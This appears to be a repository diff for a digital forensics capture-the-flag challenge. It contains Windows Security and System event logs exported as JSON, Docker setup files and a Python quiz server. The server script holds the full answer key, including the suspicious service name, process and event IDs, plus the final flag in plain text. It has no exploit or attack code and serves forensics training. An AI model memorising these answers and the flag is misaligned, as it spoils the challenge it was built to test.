{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:46.935082Z"}},"EventRecordID":21526,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:17:46.797878Z","ClientProcessId":8960}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:46.935262Z"}},"EventRecordID":21527,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:17:46.797878Z","ClientProcessId":8960}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:17:46.935306Z"}},"EventRecordID":21528,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:17:46.797878Z","ClientProcessId":8960}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:19:26.172498Z"}},"EventRecordID":21529,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":9376}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:19:26.172506Z"}},"EventRecordID":21530,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":9376}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}

10
training/srdnlenctf-2025/dfir_malvent/src/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM python:3.12.0a5-slim-bullseye
WORKDIR /usr/app/src
COPY ./evtx.py ./requirements.txt /usr/app/src/
RUN pip install --no-cache-dir -r requirements.txt
RUN apt update && apt install -y socat
EXPOSE 8888
CMD ["python", "./evtx.py"]

11
training/srdnlenctf-2025/dfir_malvent/src/docker-compose.yml Normal file
View File

@@ -0,0 +1,11 @@
version: "3"
services:
dfir1:
build:
context: ./
dockerfile: Dockerfile
container_name: dfir1
ports:
- "0.0.0.0:1984:8888"
restart: always

95
training/srdnlenctf-2025/dfir_malvent/src/evtx.py Normal file
View File

@@ -0,0 +1,95 @@
import asyncio
questions = [
{"question": "What is the name of the suspicious service installed?", "answer": "QcUcMElh"},
{"question": "From which process it has been generated? Give also the extension", "answer": "lmIcgUEQ.exe"},
{"question": "What is its event ID?", "answer": "7045"},
{"question": "Give the events IDs corresponding to unsecured data (e.g. cryptography). If more than one put a comma (e.g. 1, 2)", "answer": "15, 18"},
{"question": "Which event ID is related to the state of the account protection?", "answer": "16977"},
{"question": "Give the compromised CLSID stating that malicious code could be executed. If more than one, put a comma (e.g. str1, str2)", "answer": "Windows.SecurityCenter.SecurityAppBroker, Windows.SecurityCenter.WscBrokerManager"},
{"question": "What is the port number listening for remote control?", "answer": "3387"},
{"question": "Give the event ID related to the manipulation of specific data (e.g. registry key manipulation, deletion, creation, modification)", "answer": "16"},
{"question": "Give the application name whose corruption could depend from the malware. (First letter uppercase, add also the extension).", "answer": "Widgets.exe"},
{"question": "Is Windows Defender on?", "answer": "yes"},
{"question": "What is the event ID stating this?", "answer": "15"},
{"question": "Give the event ID related to the wrong management of different sessions and users in remote desktop", "answer": "6003"},
{"question": "Which event ID states that the malware could have read the credentials?", "answer": "5379"}
]
TIMEOUT = 60 # seconds
PORT = 8888
def welcome_message():
return ("\n" +
"##############################################\n" +
"# Welcome to DFIR.1 Malvent Challenge! #\n" +
"##############################################\n" +
"\n")
def challenge_instructions():
return ("In this challenge, you have to retrieve information from the given evtx files from al_evtx.zip \n" +
"You will answer a series of questions.\n" +
"Each correct answer will take you closer to the flag srdnlen{something}\n" +
"Good luck!\n\n")
async def handle_client(reader, writer):
addr = writer.get_extra_info('peername')
print(f"Client connected: {addr}")
try:
# Send welcome message with graphics
writer.write(welcome_message().encode())
await writer.drain()
# Send challenge instructions
writer.write(challenge_instructions().encode())
await writer.drain()
for q in questions:
while True:
writer.write((q["question"] + "\n").encode())
await writer.drain()
try:
answer = await asyncio.wait_for(reader.readline(), timeout=TIMEOUT)
answer = answer.decode().strip()
except asyncio.TimeoutError:
print(f"Client {addr} timed out.")
writer.write(b"Connection closed due to inactivity.\n")
await writer.drain()
writer.close()
await writer.wait_closed()
return
if answer.lower() == q["answer"].lower():
writer.write(b"Correct!\n")
await writer.drain()
break
else:
writer.write(b"Incorrect. Try again.\n")
await writer.drain()
writer.write(b"Congratulations! You have completed the quiz.\n")
writer.write(b"Here's your flag for Malvent: srdnlen{DFIR1:evtx4system_mngmnt&malwan}\n")
await writer.drain()
except Exception as e:
print(f"Error with client {addr}: {e}")
finally:
print(f"Client disconnected: {addr}")
writer.close()
await writer.wait_closed()
async def main():
server = await asyncio.start_server(handle_client, '0.0.0.0', PORT)
addr = server.sockets[0].getsockname()
print(f"Server running on {addr}")
async with server:
await server.serve_forever()
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\nServer shutting down.")

1
training/srdnlenctf-2025/dfir_malvent/src/requirements.txt Normal file
View File

@@ -0,0 +1 @@
asyncio

282
training/srdnlenctf-2025/dfir_malvent/system.json Normal file
View File

@@ -0,0 +1,282 @@
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"EventLog"}},"EventID":{"#attributes":{"Qualifiers":32768},"#text":6009},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.148354Z"}},"EventRecordID":2778,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1604,"ThreadID":1732}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":["10.00.","22621","","Multiprocessor Free","0"]},"Binary":null}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"EventLog"}},"EventID":{"#attributes":{"Qualifiers":32768},"#text":6005},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.148531Z"}},"EventRecordID":2779,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1604,"ThreadID":1732}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":""},"Binary":"E9070100050003001500010007008C000000000000000000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"EventLog"}},"EventID":{"#attributes":{"Qualifiers":32768},"#text":6013},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x80000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.149800Z"}},"EventRecordID":2780,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1604,"ThreadID":1732}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"Data":{"#text":["","","","","6","60",""]},"Binary":"31002E003100000030000000570069006E0064006F0077007300200031003000200045006E007400650072007000720069007300650020004500760061006C0075006100740069006F006E000000310030002E0030002E003200320036003200310020004200750069006C0064002000320032003600320031002000200000004D0075006C0074006900700072006F0063006500730073006F007200200046007200650065000000320032003600320031002E006E0069005F00720065006C0065006100730065002E003200320030003500300036002D00310032003500300000003600350065003800320035006500360000004E006F007400200041007600610069006C00610062006C00650000004E006F007400200041007600610069006C00610062006C00650000003900000034000000380031003700360000003400300039000000570069006E0044006500760032003400300031004500760061006C0000000000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":24,"Version":0,"Level":4,"Task":11,"Opcode":0,"Keywords":"0x8000000000000010","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.078261Z"}},"EventRecordID":2849,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1468,"ThreadID":1652}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"ExitReason":0,"CurrentBias":480,"CurrentTimeZoneID":1,"TimeZoneInfoCacheUpdated":0,"FirstRefresh":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":1,"Version":4,"Level":4,"Task":5,"Opcode":0,"Keywords":"0x8000000000000010","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.078299Z"}},"EventRecordID":2850,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1468,"ThreadID":1652}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"NewTime":"2025-01-03T21:01:07.078000Z","OldTime":"2025-01-04T05:01:04.678857Z","TimeDeltaInMs":-28797600,"Reason":1,"ProcessName":"\\Device\\HarddiskVolume4\\Windows\\System32\\VBoxService.exe","ProcessID":1468,"CmosTime":"2025-01-03T13:01:07.078000Z","TimeZoneBias":480,"RealTimeIsUniversal":false,"SystemInCmosMode":false}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50036,"Version":0,"Level":4,"Task":4,"Opcode":68,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.104409Z"}},"EventRecordID":2851,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1780}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50103,"Version":0,"Level":4,"Task":4,"Opcode":129,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.104479Z"}},"EventRecordID":2852,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1780}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50036,"Version":0,"Level":4,"Task":4,"Opcode":68,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.105087Z"}},"EventRecordID":2853,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1780}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-DHCPv6-Client","Guid":"6A1F2B00-6A90-4C38-95A5-5CAB3B056778"}},"EventID":51046,"Version":0,"Level":4,"Task":4,"Opcode":62,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.115102Z"}},"EventRecordID":2854,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1624,"ThreadID":1872}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Hyper-V-VmSwitch","Guid":"67DC0D66-3695-47C0-9642-33F76F7BD7AD"}},"EventID":277,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000080","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.417292Z"}},"EventRecordID":2855,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":352}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"BuildNumber":22621,"BuildArch":"amd64","BuildBranch":"ni_release_svc_prod1","Debug":false,"Official":true,"Date":"1","Time":"1"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501004Z"}},"EventRecordID":2856,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://*:5357/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501012Z"}},"EventRecordID":2857,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:80/Temporary_Listen_Addresses/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501017Z"}},"EventRecordID":2858,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://*:5358/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501023Z"}},"EventRecordID":2859,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:5986/wsman/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501029Z"}},"EventRecordID":2860,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:47001/wsman/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501033Z"}},"EventRecordID":2861,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:5985/wsman/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501036Z"}},"EventRecordID":2862,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://*:2869/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501042Z"}},"EventRecordID":2863,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501048Z"}},"EventRecordID":2864,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501053Z"}},"EventRecordID":2865,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501061Z"}},"EventRecordID":2866,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501065Z"}},"EventRecordID":2867,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:10245/WMPNSSv4/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501070Z"}},"EventRecordID":2868,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:10243/WMPNSSv4/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501074Z"}},"EventRecordID":2869,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:3392/rdp/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501078Z"}},"EventRecordID":2870,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:3387/rdp/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
